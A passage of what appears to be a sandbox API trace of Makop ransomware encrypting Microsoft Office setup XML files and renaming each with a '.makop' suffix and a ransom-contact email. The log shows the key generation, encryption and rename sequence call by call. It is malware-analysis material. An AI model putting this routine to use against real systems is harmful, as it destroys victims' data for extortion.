lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.469] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.469] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.469] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.469] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5061, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x5061, lpOverlapped=0x0) returned 1 [0093.471] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x5070, dwBufLen=0x5070 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x5070) returned 1 [0093.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.472] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x5070, lpOverlapped=0x0) returned 1 [0093.472] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.472] SetEndOfFile (hFile=0x114) returned 1 [0093.480] GetProcessHeap () returned 0x48a0000 [0093.480] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.480] GetProcessHeap () returned 0x48a0000 [0093.480] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.480] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 143 [0093.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.482] CloseHandle (hObject=0x114) returned 1 [0093.482] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0093.482] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0093.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.483] GetProcessHeap () returned 0x48a0000 [0093.483] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.483] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.483] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.483] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xd, lpOverlapped=0x0) returned 1 [0093.488] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.489] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.489] GetProcessHeap () returned 0x48a0000 [0093.489] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.489] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.489] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.489] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.489] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.489] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.490] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.490] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.490] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.490] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.490] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.491] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x2213, lpOverlapped=0x0) returned 1 [0093.493] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x2220, dwBufLen=0x2220 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x2220) returned 1 [0093.493] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.493] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x2220, lpOverlapped=0x0) returned 1 [0093.493] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.494] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.494] SetEndOfFile (hFile=0x114) returned 1 [0093.500] GetProcessHeap () returned 0x48a0000 [0093.500] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.500] GetProcessHeap () returned 0x48a0000 [0093.500] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.500] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 146 [0093.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.501] CloseHandle (hObject=0x114) returned 1 [0093.502] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0093.502] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0093.502] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0093.502] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us") returned 90 [0093.502] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*") returned 94 [0093.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0093.504] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.504] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0093.505] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0093.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.506] GetProcessHeap () returned 0x48a0000 [0093.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.506] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.506] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.507] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.511] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.511] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.511] GetProcessHeap () returned 0x48a0000 [0093.511] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.511] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0093.511] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.511] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0093.511] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.512] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.512] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.512] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.512] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.513] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.513] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x978, lpOverlapped=0x0) returned 1 [0093.513] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x980, dwBufLen=0x980 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x980) returned 1 [0093.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.513] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x980, lpOverlapped=0x0) returned 1 [0093.513] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.513] SetEndOfFile (hFile=0x114) returned 1 [0093.520] GetProcessHeap () returned 0x48a0000 [0093.520] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.520] GetProcessHeap () returned 0x48a0000 [0093.520] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.520] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 147 [0093.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.521] CloseHandle (hObject=0x114) returned 1 [0093.522] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0093.522] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0093.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0093.522] GetProcessHeap () returned 0x48a0000 [0093.523] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.523] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.523] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0093.523] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.527] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.527] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.527] GetProcessHeap () returned 0x48a0000 [0093.528] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.528] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0093.528] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.528] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0093.528] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0093.528] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0093.528] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0093.528] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0093.529] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0093.529] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0093.529] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.529] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.529] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x708, lpOverlapped=0x0) returned 1 [0093.529] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x710, dwBufLen=0x710 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x710) returned 1 [0093.529] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.529] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x710, lpOverlapped=0x0) returned 1 [0093.529] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0093.530] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.530] SetEndOfFile (hFile=0x114) returned 1 [0093.539] GetProcessHeap () returned 0x48a0000 [0093.539] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.539] GetProcessHeap () returned 0x48a0000 [0093.539] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.539] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 149 [0093.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 